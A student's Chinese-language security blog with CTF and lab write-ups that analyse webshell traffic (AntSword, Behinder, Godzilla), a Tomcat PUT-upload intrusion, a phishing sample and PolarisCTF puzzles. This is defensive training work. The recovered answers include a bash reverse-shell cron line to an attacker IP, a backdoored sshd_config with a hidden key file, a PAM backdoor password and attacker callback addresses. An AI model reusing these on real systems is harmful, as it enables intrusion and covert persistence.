Hello World!

其实只是心血来潮想像大佬们一样拥有一个属于自己的网站,这真得很coooool!

朋友们好呀!哎呀真开心见到你们,我先介绍下吧嘿嘿。

我是一名大一新生(大一下了是不是应该叫老新生了呢?)加入了学校的实验室,在老大们的带领下正在学习Misc(学了大半年了还是只会那两下呜呜呜我是菜狗),在某天(其实就是今天啦)搜查资料社工的时候突发奇想:我也想要有一个自己的博客!!于是在深夜冲动头脑的加持下立刻找教程买域名,捣鼓捣鼓就生下了这个博客!!!ohhhhhhhhhh!(不知道在ohhhh些什么但是ohhhhhh!)

其实并没有什么特别想要发博客的欲望,但是有想法就要赶紧去做不然就再也不会实施它了(仅对我而言),所以从产生这个想法到建设完成一个新博客只用了几个小时(在奇怪的地方特别有行动力呢)真的很仓促很简略啦但是这是我第一个博客,以后再慢慢完善吧,毕竟完成比完美更重要嘛(其实是根本没那个能力做到完美而已吧你这懒狗!)~

总而言之

Hello World!

玄机-应急响应-流量专题

玄机我们来了/小猫挥手.jpg

为了备战软赛所以熬了几天来写玄机的应急响应,但是这里的题目都是中等题,老大说线下赛肯定比这个难,好紧张,但是老大说也不用紧张,呃啊啊啊……反正来都来了,就当开开眼界了!希望自己不要爆零,不要拖队友的后腿呀yu1i!

我是樟,是桂,是任何一棵能以常青骗过四季的树。

某变异Webshell流量分析

前置知识:中国蚁剑AntSword下载安装与使用教程-开发者社区-阿里云

Yakit常用手段教程-CSDN博客

第一问

(我去题目怎么没给username和pwd)我们先打开附件发现只有一个pcap和两个无后缀文件,都是elf,先分析pcap发现字节流最多的http流里base64加密的流量,放进chef解码发现是个zip,解压可以看见是个class,这个http流传的文件hello.jsp就是我们要找的木马文件名

第二问

反编译一下得到的class没有看见p=XXX,但是猜测p是个字符串,有””包裹,筛查一下可以看见有个string p,”SjIHrC7oSVIE”

第三问

key在pwd下面一段,”oszXCfTeXHpIkMS3″

第四问

然后要找连接上webshell之后的第一条命令,发现还传入了四个hello.jsp,全部提取出来发现只用b64解密无法正确解出,应该还有加密逻辑,发现原代码后面一大段都无法直接反编译出来,需要手动编译,由于java\webshell里常用AES加密,我们又看见了16字节的key,尝试一下发现是对payload进行了b64decode然后aes解密,因为代码里只有一个key,没有出现iv,猜测为ECB加密,我们解密后面上传的各jsp可以找到第一条命令pingAES加密详解:参数、模式与填充方式-CSDN博客image-20260410162738043

第五问

从上一题ping的回显可以看到域名

第六问

继续分析下面几条hello.jsp,可以在最后一条hello.jsp里找到ip和port

第七问

问反连后第一条命令,我们要连接上靶机,但是没有账密,所以我们需要渗透进去得到账密,可以用fscan扫描给的端口发现存在漏洞,然后用webshell_generate生成一个蚁剑shell,用yakit传上去,然后用蚁剑连上去找到key.log,导入pcap解密加密流量,追踪tls流可以看见第一条指令为ls

第八问

连接到哪台恶意主机?附件里还有两个elf,进行一个反编译,可以知道lock用AES加密文件,而update是一个TCP 反向 Shell 加载器,连接上的ip和port是10.10.13.37:23569

第九问

前面由lock可以找到加密程序,直接找到key:ABCDEFGHIJKLMNOP和iv:abcdefghijklmnop就可以解密root下找到的flag啥啥啥文件了

第十问

要找到并修复入口漏洞后运行/root下的check_tomcat文件,上网搜索如何修复该漏洞,根据Tomcat 远程代码执行漏洞(CVE-2017-12615)修复方案_tomcat漏洞修复方法-CSDN博客修复漏洞得到flagimage-20260414192035075

0x401-TECI

第一问

从http中可以看到一个exe,传输端口是8080,这就是钓鱼网站

第二问

问钓鱼软件,也就是tools_setup.exe

第三问

第三问问恶意程序的哈希值,sha256sum一下

第四问

第四问问恶意程序中 RC4 加密算法的密钥,前面知道这是一个.NET程序,我们用IDA无法直接搜索到内部的密钥,用ILSpy可以从反编译代码中搜索字节流看到密钥

第五问

问监听端口,往下翻就可以找到

第六问

攻击者执行的第一条命令?顺着.NET程序往下翻tcp流,可以看见加密流量,我们用前面找到的rc4密钥和xor密钥就可以恢复第一条命令:hostname

第七问

命令hostname的回显就是受害者电脑的主机名

第八问

问受害者桌面的txt的md5,继续往下翻,翻到最底下那个就是md5

冰蝎蚁剑哥斯拉,玄机刷题苦哈哈

冰蝎3.0-jsp流量分析

前置知识:哥斯拉、冰蝎与蚁剑的流量特征_冰蝎哥斯拉流量特征-CSDN博客

第一问

Flag:192.168.31.61

问黑客ip,根据题目我们都可以知道是冰蝎3.0流量,然后我们看到流量里传jsp的ip全都是192.168.31.61,猜猜它是不是黑客ip?

第二问

Flag:indeX.jsp

黑客上传的Webshell名是什么?我们可以看到jsp名字都为indeX.jsp

第三问

Flag:2025-02-22 07:47:38

黑客上传WebShell的时间是多少?同样直接看传index.jsp的时间就可以了。

第四问

Flag:3f0af7bb4dbcfbd7

木马的解密key是什么?我们直接找到indeX.jsp就可以看到key了。

第五问

Flag:ifconfig

黑客执行的第一个命令是什么?已经有key了那就解密,顺着时间往下可以在某个indeX.jsp中看见命令

第六问

Flag:flag{485375b7b06ad856a788c0d95229f35c}

黑客上传的文件内容是什么?继续往下解密可以发现有个含有newpath什么什么的,但是没有直接写文件内容,看到有flag的路径,我们利用shell渗透进去服务器看看能不能直接读取,根据看到的文件路径可以直接找到flag

第七问

Flag:flag{3aacab9ca36a6894c75048e4faf47052}

黑客下载的文件内容是什么?继续往下翻就可以找到下载的文件内容

第八问

Flag:flag{ae1d04dd3d15c6a18f904fe50fdf7eca}

问服务器内的flag是什么?在服务器内直接寻找flag

哥斯拉ekp版本流量分析

前置知识:哥斯拉ekp版

第一问

Flag:.index.jsp

黑客上传的木马文件名是什么?

image-20260416020744026

第二问

Flag:mypass

黑客上传的木马连接密码是什么?直接搜索含有木马文件名的http流,可以看见pass

第三问

Flag:9adbe0b3033881f8

黑客上传的木马连接密钥是什么?同上,可以看见pass上面就是密钥

第四问

Flag:cat /etc/passwd

黑客连接webshell后执行的第一条命令是什么?由上面可以得到加密逻辑,所以我们先截取mypass后的数据然后解两次b64然后aes解密即可得到命令(为什么不是cd “/”;cat /etc/passwd……)

第五问

Flag:Rec106e_config

这个木马是根据哪个参数进行回显的?(提交参数名)因为要找回显的参数名,所以这次我们解密响应包,哦好像不用解密也能看到,以防万一解一下吧,这就是password对吗,指不定能用到呢

第六问

Flag:192.168.31.205,4444

黑客留下后门的反连的IP和PORT是什么?往下翻一条,发现有个没有回显的请求包,然后就看到了b64加密的数据,再解b64得到反连ip和port

第七问

Flag:ls

黑客通过后门反连执行的第一条命令是什么?不用解密,好

第八问

Flag:x,Xj@666.

黑客新增的后门用户名密码是什么?

第九问

Flag:/etc/host.allow

黑客新增的后门文件是什么?可以看见后面的操作都是ssh连接之后的操作,那我们直接在靶机内找,搜索得知黑客常利用/dev/tcp 在入侵主机上建立反向连接,搜索找到一个/etc/allow文件

第十问

Flag:/root/.bash_h1story/

黑客的后门公钥是什么?我们检查一下SSH配置是否被篡改,发现黑客添加了一个/root/.bash_h1story/.keys作为公钥文件

 #       $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
 ​
 # This is the sshd server system-wide configuration file. See
 # sshd_config(5) for more information.
 ​
 # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
 ​
 # The strategy used for options in the default sshd_config shipped with
 # OpenSSH is to specify options with their default value where
 # possible, but leave them commented. Uncommented options override the
 # default value.
 ​
 Port 222
 #AddressFamily any
 #ListenAddress 0.0.0.0
 #ListenAddress ::
 ​
 #HostKey /etc/ssh/ssh_host_rsa_key
 #HostKey /etc/ssh/ssh_host_ecdsa_key
 #HostKey /etc/ssh/ssh_host_ed25519_key
 ​
 # Ciphers and keying
 #RekeyLimit default none
 ​
 # Logging
 #SyslogFacility AUTH
 #LogLevel INFO
 ​
 # Authentication:
 ​
 #LoginGraceTime 2m
 PermitRootLogin yes
 #StrictModes yes
 #MaxAuthTries 6
 #MaxSessions 10
 ​
 #PubkeyAuthentication yes
 ​
 # Expect .ssh/authorized_keys2 to be disregarded by default in future.
 #AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
 AuthorizedKeysFile .ssh/authorized_keys /root/.bash_h1story/.keys
 ​
 #AuthorizedPrincipalsFile none
 ​
 #AuthorizedKeysCommand none
 #AuthorizedKeysCommandUser nobody
 ​
 # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
 #HostbasedAuthentication no
 # Change to yes if you don't trust ~/.ssh/known_hosts for
 # HostbasedAuthentication
 #IgnoreUserKnownHosts no
 # Don't read the user's ~/.rhosts and ~/.shosts files
 #IgnoreRhosts yes
 ​
 # To disable tunneled clear text passwords, change to no here!
 #PasswordAuthentication yes
 #PermitEmptyPasswords no
 ​
 # Change to yes to enable challenge-response passwords (beware issues with
 # some PAM modules and threads)
 ChallengeResponseAuthentication no
 ​
 # Kerberos options
 #KerberosAuthentication no
 #KerberosOrLocalPasswd yes
 #KerberosTicketCleanup yes
 #KerberosGetAFSToken no
 ​
 # GSSAPI options
 #GSSAPIAuthentication no
 #GSSAPICleanupCredentials yes
 #GSSAPIStrictAcceptorCheck yes
 #GSSAPIKeyExchange no
 ​
 # Set this to 'yes' to enable PAM authentication, account processing,
 # and session processing. If this is enabled, PAM authentication will
 # be allowed through the ChallengeResponseAuthentication and
 # PasswordAuthentication. Depending on your PAM configuration,
 # PAM authentication via ChallengeResponseAuthentication may bypass
 # the setting of "PermitRootLogin without-password".
 # If you just want the PAM account and session checks to run without
 # PAM authentication, then enable this but set PasswordAuthentication
 # and ChallengeResponseAuthentication to 'no'.
 UsePAM yes
 ​
 #AllowAgentForwarding yes
 #AllowTcpForwarding yes
 #GatewayPorts no
 X11Forwarding yes
 #X11DisplayOffset 10
 #X11UseLocalhost yes
 #PermitTTY yes
 PrintMotd no
 #PrintLastLog yes
 #TCPKeepAlive yes
 #PermitUserEnvironment no
 #Compression delayed
 #ClientAliveInterval 0
 #ClientAliveCountMax 3
 #UseDNS no
 #PidFile /var/run/sshd.pid
 #MaxStartups 10:30:100
 #PermitTunnel no
 #ChrootDirectory none
 #VersionAddendum none
 ​
 # no default banner path
 #Banner none
 ​
 # Allow client to pass locale environment variables
 AcceptEnv LANG LC_*
 ​
 # override default of no subsystems
 Subsystem sftp /usr/lib/openssh/sftp-server
 ​
 # Example of overriding settings on a per-user basis
 #Match User anoncvs
 # X11Forwarding no
 # AllowTcpForwarding no
 # PermitTTY no
 # ForceCommand cvs server
 PasswordAuthentication yes

第十一问

Flag:/connect

第十二问

Flag:/connect

这个代理的路径是什么?从上一问可以看见代理路径在最后,为/connect

第十三问

Flag:e3c77fd790af8d25fe271cd275eb405e

这个代理的连接密码是什么?(提交md5值)链接密码一般为UA,Header或者Key,这里是UA

第十四问

Flag:127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222

黑客扫描了哪个ip的哪些端口?,最后一条请求包含了一些端口,猜测为端口扫描

第十五问

Flag:222,8081

黑客扫描到开放的端口有哪些?(端口从小到大排序提交)扫描端口的回显中,后面那个标识位为1的猜测就是开放的端口

第六章 流量特征分析-蚁剑流量分析

前置知识:冰蝎&哥斯拉流量分析

第一问

Flag:1

木马的连接密码是多少?直接找到密码,就是X=@ini_set的X)

第二问

Flag:id

黑客执行的第一个命令是什么?我们先按照时间排序进行含有200的http流,然后找到cd “/var/www/html”;id;echo e124bc;pwd;echo 43523,为什么不是cd呢,因为提交cd是错的)

第三问

Flag:/etc/passwd

黑客读取了哪个文件的内容,提交文件绝对路径?上一提已经看到了cat文件的完整路径

第四问

Flag:flag.txt

往下翻继续解密得到上传的文件

第五问

Flag:flag{write_flag}

黑客上传的文件内容是什么?在该条流量的前面一部分

第六问

Flag:/var/www/html/config.php

黑客下载了哪个文件,提交文件绝对路径?接着往下翻

第六章 流量特征分析-常见攻击事件 tomcat

第一问

前置知识:【无标题】网络安全:浅谈端口扫描原理, 从零基础到精通,收藏这篇就够了!-CSDN博客

Flag:14.0.0.120

在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP。没有直接看到攻击者的ip,查找端口扫描可以知道存在三种扫描,全连接半连接和秘密扫描,这里使用的是半连接扫描,我们筛查一下syn标识位为一但是ack标识位为0(即只完成了两次握手)的tcp包(因为只在内核层有记录)

第二问

Flag:guangzhou

找到攻击者IP后请通过技术手段确定其所在地址。找个ip查询地址的网站高精度IP地址查询|埃文科技-IP问问|IP地址查询|IP定位|精确地址|-chaipip.com就可以查到了

第三问

Flag:8080

哪一个端口提供对web服务器管理面板的访问?我们打开http流按字节流从大到小找到一个很大的xml,追踪看到是8080

第四问

Flag:gobuster

经过前面对攻击者行为的分析后,攻击者运用的工具是?跳过一大串扫描的流量后,我们可以追踪tcp看到工具

第五问

Flag:admin-tomcat

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?这里又要看http流了,按时间排序可以看见攻击者get了很多信息(拿线索),然后在manager/html是一大堆404(爆破),之后终于看见200了,这个Authorization即为认证方式(现代被cookie/session代替),Basic后面的字符进行解密b64得到账号密码

第六问

Flag:JXQOZY.war

攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?继续往后翻可以看见攻击者利用了身份认证下了俩gif,然后post了一个war,既然是shell,应该不是gif,所以就是这个war文件

第七问

Flag:/bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’

攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?继续往后翻可以看见执行了whoami确认了当前权限,然后进入tmp目录建了定时任务,可以猜到重要信息就是最长的那条

第六章 流量特征分析-小王公司收到的钓鱼邮件

第一问

Flag:tsdandassociates.co.sz/w0ks//?YO=1702920835

下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG。筛选http流可以看见这里GET了个zip,按照格式拼接就可以得到flag

第二问

Flag:f17dc5b1c30c512137e62993d1df9b2f

下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG。直接提取出来md5

第三问

Flag:shakyastatuestrade.com

记得全部提取出来,然后解压可以得到一个js文件和一个y,用vs打开js可以看见非注释的部分都是对某字符串的添加字符串之类的

image-20260417025949483

 import re
 from collections import defaultdict
 ​
 def remove_comments(js):
  # 删除多行注释
  js = re.sub(r'/\*[\s\S]*?\*/', '', js)
 ​
  # 删除单行注释
  js = re.sub(r'//.*', '', js)
 ​
  return js
 ​
 ​
 def extract_strings(js):
 ​
  result = defaultdict(str)
 ​
  # 匹配 变量 = 'a'
  assign_pattern = re.findall(r'(\w+)\s*=\s*[\'"]([^\'"]*)[\'"]', js)
 ​
  for var, val in assign_pattern:
  result[var] = val
 ​
  # 匹配 变量 += 'a'
  add_pattern = re.findall(r'(\w+)\s*\+=\s*[\'"]([^\'"]*)[\'"]', js)
 ​
  for var, val in add_pattern:
  result[var] += val
 ​
  return result
 ​
 ​
 def main():
 ​
  with open("input.js","r",encoding="utf-8") as f:
  js = f.read()
 ​
  js = remove_comments(js)
 ​
  strings = extract_strings(js)
 ​
  print("\n===== 还原字符串 =====\n")
 ​
  for k,v in strings.items():
  print(k,"=",v)
 ​
 ​
 if __name__ == "__main__":
  main()

所以域名为shakyastatuestrade.com

数字中国

Flag:flag{dbeeed36-0d7e-211a-69db-66bd74ea91d5}

1、按时间顺序筛选http流,看到两个index.php,查看第一个index.php直接看到key和加密方式,一般服务端都有openss插件,所以aes解密就行,用AES批量加密解密 – 在线工具+base64解密

2、往后翻可以看见开始存在base64加密的流量,从后往前解密流量可以看到这条流量返回了三个文件,最后一个就是flag所在的文件,然后我们查看输入的命令找到

3、从这个回显的输入中找到flag

第六章-哥斯拉4.0流量分析

第一问

Flag:192.168.31.190

黑客的IP是什么?筛选http流可以看见jsp都是同一个ip发的,应该就是它

第二问

Flag:CVE-2017-12615

黑客是通过什么漏洞进入服务器的?找到htllo.jsp可以发现特征为用PUT写入文件末尾加反斜杠绕过JspServlet文件解析

第三问

Flag:hello.jsp

黑客上传的木马文件名是什么?由上一题可以看到木马本体,文件名为hello.jsp

第四问

Flag:7f0e6f

黑客上传的木马连接密码是什么?哥斯拉流量中存在两个特殊字段,xc和pass分别是密钥和连接密码

第五问

Flag:1710acba6220f62b

黑客上传的木马解密密钥是什么?从上一题可以看到解密密钥是

第六问

Flag:uname -r

黑客连接webshell后执行的第一条命令是什么?

第七问

Flag:root

黑客连接webshell时查询当前shell的权限是什么?往后翻可以看见有一个请求了id的请求包,那它的响应就是权限等级image-20260417201320770

第八问

Flag:Debian GNU/Linux 10

黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

第九问

Flag:dpkg -l libpam-modules

黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)一开始找到了sh -c “cd “/”;rmp -qa | grep pam”,但是提交了不对的?然后才发现它的回显为rpm:not found,哇原来压根没成功,那只能继续往下翻,可以看见有个包里的请求又出现了命令,提交,对了

第十问

Flag:192.168.31.143:1313

黑客留下后门的反连的IP和PORT是什么?

image-20260417203145268

第十一问

Flag:pam_unix.so

黑客通过什么文件留下了后门?既然是文件,我们继续往下找到一个比较大的payload,解密一下,发现了filename

第十二问

前置知识:pam_sm_authenticate 是 PAM(可插拔认证模块)框架中的一个函数,主要用于用户身份验证。这个函数的作用是对用户提供的凭证(如密码)进行验证,通常是在 PAM 模块中实现的。

Flag:XJ@123

黑客设置的后门密码是什么?继续往后翻可以看到攻击者拷贝了一份pam_unix.so文件,我们上靶机看到原文件,然后下载下来发现是个elf,反编译一下,查找资料可以知道pam_sm_authenticate函数用于用户身份验证,那应该就会有密码

第十三问

Flag:c0ee2ad2d8.ipv6.xxx.eu.org.

还在该函数内,可以找到恶意 DNSLog 服务器地址

PolarisCTF-WP

水面落满灯火,敛起千万句梦语。
  • Signin
  • 抄作业
  • 口算私钥
  • WhoRU
  • 这是什么图片加密啊(赛后)

signin

前置知识:QR码掩码优化技巧-CSDN博客

1、首先我们可以拿到一个pcap,用binwalk可以发现内部藏了个falg.zip,提取出来发现是加了密的

2、然后打开pcap,可以发现在三次握手之后就全是加密流量tls,这时候用winrar查看那个压缩包的内部可以发现除了加密的png还有一个”so ez”,打开发现就是key,提取出来导入pcap解密tls可以发现流量大多是http2

3、但是压缩包里的png还是要密码,我们回到pcap可以发现每一个http2传输的数据长度都较小,格式较为单一,而且不直接存储密码原文,猜测密码就藏在这些http2流的数据里。每次客户端发出 GET 请求时,同时发送一个 WINDOW_UPDATE 帧,只存在65536和65537。写脚本出来替换成01然后解bin解b64得到zip密码

 #!/usr/bin/env python3
 import subprocess, sys, argparse
 ​
 def run_tshark(pcap, keylog):
  cmd = ["tshark", "-r", pcap]
  if keylog:
  cmd += ["-o", f"tls.keylog_file:{keylog}"]
  cmd += [
  "-Y", "http2.type == 0x08",
  "-T", "fields",
  "-e", "http2.window_update.window_size_increment"
  ]
  r = subprocess.run(cmd, capture_output=True, text=True)
  return r.stdout.strip()
 ​
 def main():
  ap = argparse.ArgumentParser()
  ap.add_argument("pcap")
  ap.add_argument("-k", "--keylog")
  args = ap.parse_args()
 ​
  out = run_tshark(args.pcap, args.keylog)
  lines = out.splitlines()
 ​
  values = []
  for line in lines:
  val = line.strip()
  if val.isdigit():
  values.append(val)
 ​
  if not values:
  print("[-] 未提取到数值 → 99% 是因为加密流量需要 keylog!")
  print("用法:python3 extract.py attachment.pcapng -k keylog.txt")
  return
 ​
  print("\n".join(values))
 ​
 if __name__ == "__main__":
  main()

4、拿到密码进行解密后可以发现是一张二维码,但是扫不出来怎么办呢?发现图片属性有提示,根据(i*j % 2) + ((i+j) % 3) == 0对图片进行一些列操作,得到flag

 from PIL import Image
 import numpy as np
 import cv2
 import zxingcpp
 ​
 img = Image.open('flag.png').convert('L')
 arr = np.array(img)
 content = arr[40:410, 40:410]
 _, binary = cv2.threshold(content, 127, 1, cv2.THRESH_BINARY)
 ​
 module_size, N = 10, 37
 ​
 # 提取模块网格 (0=黑, 1=白)
 grid = np.zeros((N, N), dtype=int)
 for i in range(N):
  for j in range(N):
  block = binary[i*module_size:(i+1)*module_size, j*module_size:(j+1)*module_size]
  grid[i][j] = 1 if block.mean() > 0.5 else 0
 ​
 # 判断功能区域(不参与掩码)
 def is_function_module(i, j):
  if i <= 7 and j <= 7: return True # 左上 Finder
  if i <= 7 and j >= N-8: return True # 右上 Finder
  if i >= N-8 and j <= 7: return True # 左下 Finder
  if i == 6 or j == 6: return True # Timing
  if i == 8 and j <= 8: return True # Format Info
  if j == 8 and i <= 8: return True
  if i == 8 and j >= N-8: return True
  if j == 8 and i >= N-8: return True
  if i == N-8 and j == 8: return True # Dark module
  if abs(i-28) <= 2 and abs(j-28) <= 2: return True # Alignment (v5)
  return False
 ​
 data_mask = np.array([[not is_function_module(i,j) for j in range(N)] for i in range(N)])
 ​
 # Step1: 还原 challenge 公式掩码
 step1 = grid.copy()
 for i in range(N):
  for j in range(N):
  if data_mask[i][j] and (i*j%2 + (i+j)%3) == 0:
  step1[i][j] ^= 1
 ​
 # Step2: 还原标准 mask pattern 0 => (i+j)%2==0
 step2 = step1.copy()
 for i in range(N):
  for j in range(N):
  if data_mask[i][j] and (i+j)%2 == 0:
  step2[i][j] ^= 1
 ​
 # 重建图像
 out_img = np.ones((N*module_size+80, N*module_size+80), dtype=np.uint8) * 255
 for i in range(N):
  for j in range(N):
  if step2[i][j] == 0:
  out_img[40+i*module_size:40+(i+1)*module_size, 40+j*module_size:40+(j+1)*module_size] = 0
 ​
 result_img = Image.fromarray(out_img)
 result_img.save('qr_fixed.png')
 print(zxingcpp.read_barcodes(result_img)[0].text)

抄作业

前置知识:《区块链智能合约与CTF逆向(一)》

1、题目给的容器里没有源码,我们只有基本的rpc地址,private_key和Challenge_Contract,那我们先从字节码可读字节流入手,

 import requests
 from web3 import Web3
 ​
 RPC = "http://80-120c55f0-1b2f-4967-a6d6-5759e2b950b4.challenge.ctfplus.cn/rpc"
 CONTRACT = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
 PRIVATE_KEY = "0xca3918a67c28a606aa3714fe80fe0698fef90bdf211c3b2586e7d1b5469015f6"
 ​
 w3 = Web3(Web3.HTTPProvider(RPC))
 account = w3.eth.account.from_key(PRIVATE_KEY)
 ​
 print("=" * 50)
 print(f"Connected: {w3.is_connected()}")
 print(f"Address: {account.address}")
 print(f"ETH Balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")
 print(f"Contract Balance: {w3.from_wei(w3.eth.get_balance(CONTRACT), 'ether')} ETH")
 print(f"Latest Block: {w3.eth.block_number}")
 ​
 # ============ 1. 字节码提取字符串 ============
 print("\n=== [1] 字节码中提取可读字符串 ===")
 code = w3.eth.get_code(CONTRACT)
 print(f"Bytecode length: {len(code)} bytes")
 ​
 # 从字节码里找 ASCII 可读字符串(长度>=4)
 raw = code.hex()
 result = ""
 readable_strings = []
 for i in range(0, len(raw) - 1, 2):
     byte = int(raw[i:i+2], 16)
     if 32 <= byte <= 126:
         result += chr(byte)
     else:
         if len(result) >= 4:
             readable_strings.append(result)
         result = ""
 ​
 print("可读字符串:")
 for s in readable_strings:
     print(f"  {s}")
 ​
 # ============ 2. 全量事件日志 ============
 print("\n=== [2] 合约所有 Event Logs ===")
 latest = w3.eth.block_number
 logs = w3.eth.get_logs({
     "fromBlock": 0,
     "toBlock": latest,
     "address": CONTRACT
 })
 print(f"共找到 {len(logs)} 条日志")
 for log in logs:
     print(f"  Block: {log['blockNumber']}, Topics: {[t.hex() for t in log['topics']]}")
     print(f"  Data: {log['data'].hex()}")
     # 尝试转 ASCII
     try:
         s = bytes.fromhex(log['data'].hex().replace("0x","")).decode("utf-8", errors="ignore")
         printable = ''.join(c for c in s if 32 <= ord(c) <= 126)
         if printable:
             print(f"  ASCII: {printable}")
     except:
         pass
 ​
 # ============ 3. 历史交易 input data ============
 print("\n=== [3] 历史区块 tx input data ===")
 for bn in range(1, min(latest + 1, 50)):
     block = w3.eth.get_block(bn, full_transactions=True)
     for tx in block.transactions:
         if tx['to'] and tx['to'].lower() == CONTRACT.lower():
             print(f"  Block {bn}, Hash: {tx['hash'].hex()}")
             print(f"  Input: {tx['input'].hex()}")
 ​
 # ============ 4. 探测函数 selector ============
 print("\n=== [4] 探测常见函数 ===")
 def try_call(sig):
     sel = w3.keccak(text=sig)[:4].hex()
     try:
         result = w3.eth.call({"to": CONTRACT, "data": "0x" + sel})
         ascii_r = bytes.fromhex(result.hex()).decode("utf-8", errors="ignore")
         printable = ''.join(c for c in ascii_r if 32 <= ord(c) <= 126)
         print(f"  {sig} [{sel}] => {result.hex()} | {printable}")
     except Exception as e:
         print(f"  {sig} => ERR: {str(e)[:60]}")
 ​
 for sig in ["isSolved()", "flag()", "getFlag()", "solved()", "name()", 
             "symbol()", "totalSupply()", "owner()", "get()"]:
     try_call(sig)

2、可以发现存在“wrong”字样说明有校验逻辑;历史交易记录里则用selector函数检验“5*7=35”,那我们也调用一下selector,返回容器进行检验得到flag

 from web3 import Web3
 ​
 RPC = "http://80-ce2a00d1-e535-4123-a13a-5b184b03ccf5.challenge.ctfplus.cn/rpc"
 CONTRACT = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
 PRIVATE_KEY = "0x496986de4098034b104a0b1e103e508efa6032b717397cd259642fa540ea66d8"
 ​
 w3 = Web3(Web3.HTTPProvider(RPC))
 account = w3.eth.account.from_key(PRIVATE_KEY)
 ​
 # selector aab2fcd2,参数 5, 7, 35(5*7=35)
 data = "0xaab2fcd2" + \
  (5).to_bytes(32, 'big').hex() + \
  (7).to_bytes(32, 'big').hex() + \
  (35).to_bytes(32, 'big').hex()
 ​
 print("=== 先 eth_call 看返回值 ===")
 try:
  result = w3.eth.call({"to": CONTRACT, "from": account.address, "data": data})
  print(f"返回: {result.hex()}")
  printable = bytes.fromhex(result.hex()).decode("utf-8", errors="ignore")
  print(f"ASCII: {''.join(c for c in printable if 32<=ord(c)<=126)}")
 except Exception as e:
  print(f"call failed: {e}")
 ​
 print("\n=== 发送真实交易 ===")
 tx = {
  "from": account.address,
  "to": CONTRACT,
  "data": data,
  "nonce": w3.eth.get_transaction_count(account.address),
  "gas": 200000,
  "gasPrice": w3.eth.gas_price,
 }
 signed = account.sign_transaction(tx)
 txhash = w3.eth.send_raw_transaction(signed.raw_transaction)
 receipt = w3.eth.wait_for_transaction_receipt(txhash)
 print(f"Tx: {txhash.hex()}")
 print(f"Status: {'成功' if receipt.status == 1 else '失败'}")
 print(f"Logs: {receipt.logs}")
 ​
 # 查 logs 里有没有 flag
 for log in receipt.logs:
  print(f" Topic: {[t.hex() for t in log['topics']]}")
  data_hex = log['data'].hex()
  print(f" Data hex: {data_hex}")
  try:
  s = bytes.fromhex(data_hex.replace("0x","")).decode("utf-8", errors="ignore")
  print(f" ASCII: {''.join(c for c in s if 32<=ord(c)<=126)}")
  except:
  pass

口算私钥

1、这题给了源码,看见给了owner地址和isSolve条件image-20260329163939016

2、利用anvil_setStorageAt篡改存储合约,将slot0改成1就可以了

WhoRU?

1、打开容器发现给了一个java脚本,我们下载下来查看,一般根据脚本内容进行查找原脚本需要找一些不容易替换的部分,比如import的库,或者自定义的一些字符串

2、由于搜索各个变量名都找不到脚本,于是只能用功能性词组,比如经常出现的crc32,zip,stream等,然后将相似度较高的拉出来对比,找到是bkcrack

3、第三个是py脚本,查找调用的部分库找到脚本

这是什么图片加密啊(赛后)

1、打开发现有三个附件,但是元数据和密文暂时应该看不懂,根据题目先找图片隐写

2、由于之前做过类似的题目,一眼认出来是皮亚诺曲线,但是直接用旧脚本不行,根据题目进行修改,经过尝试发现把x,y坐标对调(即题目中的“翻转”)就可以得到一个偏移的二维码

 from PIL import Image
 from tqdm import tqdm
 ​
 # 递归生成Peano曲线
 def peano(n, max_points):
  if n == 0:
  return [[0, 0]]
  else:
  in_lst = peano(n - 1, max_points)
  lst = in_lst.copy()
  px, py = lst[-1]
 
  # 确保生成的曲线点数不会超过最大点数
  if len(lst) >= max_points:
  return lst
 
  lst.extend([[px - i[0], py + 1 + i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px + i[0], py + 1 + i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px + 1 + i[0], py - i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px - i[0], py - 1 - i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px + i[0], py - 1 - i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px + 1 + i[0], py + i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px - i[0], py + 1 + i[1]] for i in in_lst])
  px, py = lst[-1]
  lst.extend([[px + i[0], py + 1 + i[1]] for i in in_lst])
 
  # 返回生成的曲线点列表
  return lst
 ​
 # 打开源图像
 img = Image.open("flag.png")
 ​
 # 获取图像的宽度和高度
 width, height = img.size
 max_points = width * height # 图像的像素数量
 ​
 # 设置曲线的阶数,直到达到最大点数
 order = peano(6, max_points)
 ​
 # 创建一个空白的RGB新图像,用于存储重排后的图像
 new_image = Image.new("RGB", (width, height))
 ​
 # 遍历生成的Peano曲线点列表并重新排列像素
 for i, (x, y) in tqdm(enumerate(order)):
  # 确保坐标在图像边界内
  if 0 <= x < width and 0 <= y < height:
  # 从原图像中获取对应位置的像素
  pixel = img.getpixel((y, height - 1 - x))
  # 将像素放置在新图像中的相应位置
  new_x, new_y = i % width, i // width
  new_image.putpixel((new_x, new_y), pixel)
 ​
 # 保存重新排列后的图像
 new_image.save("rearranged_image.jpg")

3、然后再平移一下得到正确的二维码,扫码得flag(诶怎么没用上密文和元数据?

 import cv2
 import numpy as np
 ​
 img = cv2.imread("rearranged_image.jpg")
 ​
 h, w = img.shape[:2]
 ​
